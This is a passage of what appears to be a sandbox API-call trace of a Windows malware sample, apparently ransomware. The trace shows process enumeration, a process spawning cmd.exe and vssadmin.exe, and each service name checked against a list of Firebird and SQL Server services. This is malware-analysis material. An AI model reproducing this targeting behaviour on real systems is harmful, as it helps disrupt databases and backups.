lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.153] lstrlenW (lpString="lsass.exe") returned 9 [0214.153] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0214.155] lstrlenW (lpString="lsm.exe") returned 7 [0214.155] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.156] lstrlenW (lpString="svchost.exe") returned 11 [0214.156] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.157] lstrlenW (lpString="svchost.exe") returned 11 [0214.157] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.158] lstrlenW (lpString="svchost.exe") returned 11 [0214.158] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.160] lstrlenW (lpString="svchost.exe") returned 11 [0214.160] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.161] lstrlenW (lpString="svchost.exe") returned 11 [0214.161] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.162] lstrlenW (lpString="audiodg.exe") returned 11 [0214.162] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.164] lstrlenW (lpString="svchost.exe") returned 11 [0214.164] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.165] lstrlenW (lpString="svchost.exe") returned 11 [0214.165] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.166] lstrlenW (lpString="dwm.exe") returned 7 [0214.166] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.167] lstrlenW (lpString="explorer.exe") returned 12 [0214.167] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.168] lstrlenW (lpString="spoolsv.exe") returned 11 [0214.168] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.169] lstrlenW (lpString="taskhost.exe") returned 12 [0214.169] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.170] lstrlenW (lpString="svchost.exe") returned 11 [0214.170] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0214.171] lstrlenW (lpString="taskeng.exe") returned 11 [0214.171] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.172] lstrlenW (lpString="taskhost.exe") returned 12 [0214.173] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0214.174] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0214.174] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0214.176] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0214.176] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0214.177] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0214.178] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0214.179] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0214.179] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0214.180] lstrlenW (lpString="always_winds.exe") returned 16 [0214.180] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0214.182] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0214.182] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0214.183] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0214.183] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0214.186] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0214.186] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0214.187] lstrlenW (lpString="alienwed.exe") returned 12 [0214.187] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0214.188] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0214.188] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0214.189] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0214.189] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0214.190] lstrlenW (lpString="mp beginners.exe") returned 16 [0214.190] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0214.191] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0214.191] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0214.192] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0214.192] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0214.192] lstrlenW (lpString="harassment.exe") returned 14 [0214.193] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0214.193] lstrlenW (lpString="francis-communication.exe") returned 25 [0214.193] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0214.194] lstrlenW (lpString="gccinformational.exe") returned 20 [0214.194] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0214.195] lstrlenW (lpString="diploma.exe") returned 11 [0214.195] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0214.196] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0214.196] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.196] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.196] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.197] lstrlenW (lpString="svchost.exe") returned 11 [0214.197] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0214.198] lstrlenW (lpString="sppsvc.exe") returned 10 [0214.198] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.199] lstrlenW (lpString="svchost.exe") returned 11 [0214.199] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0214.200] lstrlenW (lpString="qnuriy.exe") returned 10 [0214.200] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.200] lstrlenW (lpString="cmd.exe") returned 7 [0214.200] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.201] lstrlenW (lpString="conhost.exe") returned 11 [0214.201] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.202] lstrlenW (lpString="vssadmin.exe") returned 12 [0214.202] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.203] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.203] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0214.204] lstrlenW (lpString="VSSVC.exe") returned 9 [0214.204] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0214.205] CloseHandle (hObject=0x1f4) returned 1 [0214.205] Sleep (dwMilliseconds=0x1f4) [0214.832] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0214.840] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0214.840] GetLastError () returned 0xea [0214.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f1c0d8 [0214.840] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0214.845] CloseServiceHandle (hSCObject=0x570150) returned 1 [0214.846] lstrlenW (lpString="Appinfo") returned 7 [0214.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0214.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0214.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0214.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0214.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0214.846] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0214.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0214.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0214.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0214.846] lstrlenW (lpString="AudioSrv") returned 8 [0214.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0214.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0214.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0214.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0214.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0214.846] lstrlenW (lpString="BFE") returned 3 [0214.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0214.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0214.847] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0214.847] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0214.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0214.847] lstrlenW (lpString="CryptSvc") returned 8 [0214.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0214.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0214.847] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0214.847] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0214.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0214.847] lstrlenW (lpString="CscService") returned 10 [0214.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0214.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0214.847] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0214.847] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0214.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0214.847] lstrlenW (lpString="DcomLaunch") returned 10 [0214.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.847] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0214.847] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0214.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0214.848] lstrlenW (lpString="Dhcp") returned 4 [0214.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0214.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0214.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0214.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0214.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0214.848] lstrlenW (lpString="Dnscache") returned 8 [0214.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0214.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0214.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0214.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0214.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0214.848] lstrlenW (lpString="DPS") returned 3 [0214.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0214.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0214.848] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0214.848] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0214.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0214.848] lstrlenW (lpString="eventlog") returned 8 [0214.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0214.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0214.849] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0214.849] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0214.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0214.849] lstrlenW (lpString="EventSystem") returned 11 [0214.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0214.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0214.849] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0214.849] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0214.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0214.849] lstrlenW (lpString="FontCache") returned 9 [0214.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0214.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0214.850] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0214.850] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0214.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0214.850] lstrlenW (lpString="gpsvc") returned 5 [0214.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0214.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0214.850] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0214.850] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0214.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0214.850] lstrlenW (lpString="iphlpsvc") returned 8 [0214.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.850] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0214.850] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0214.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0214.850] lstrlenW (lpString="LanmanServer") returned 12 [0214.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0214.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0214.850] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0214.850] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0214.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0214.850] lstrlenW (lpString="LanmanWorkstation") returned 17 [0214.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.850] lstrcmpiW 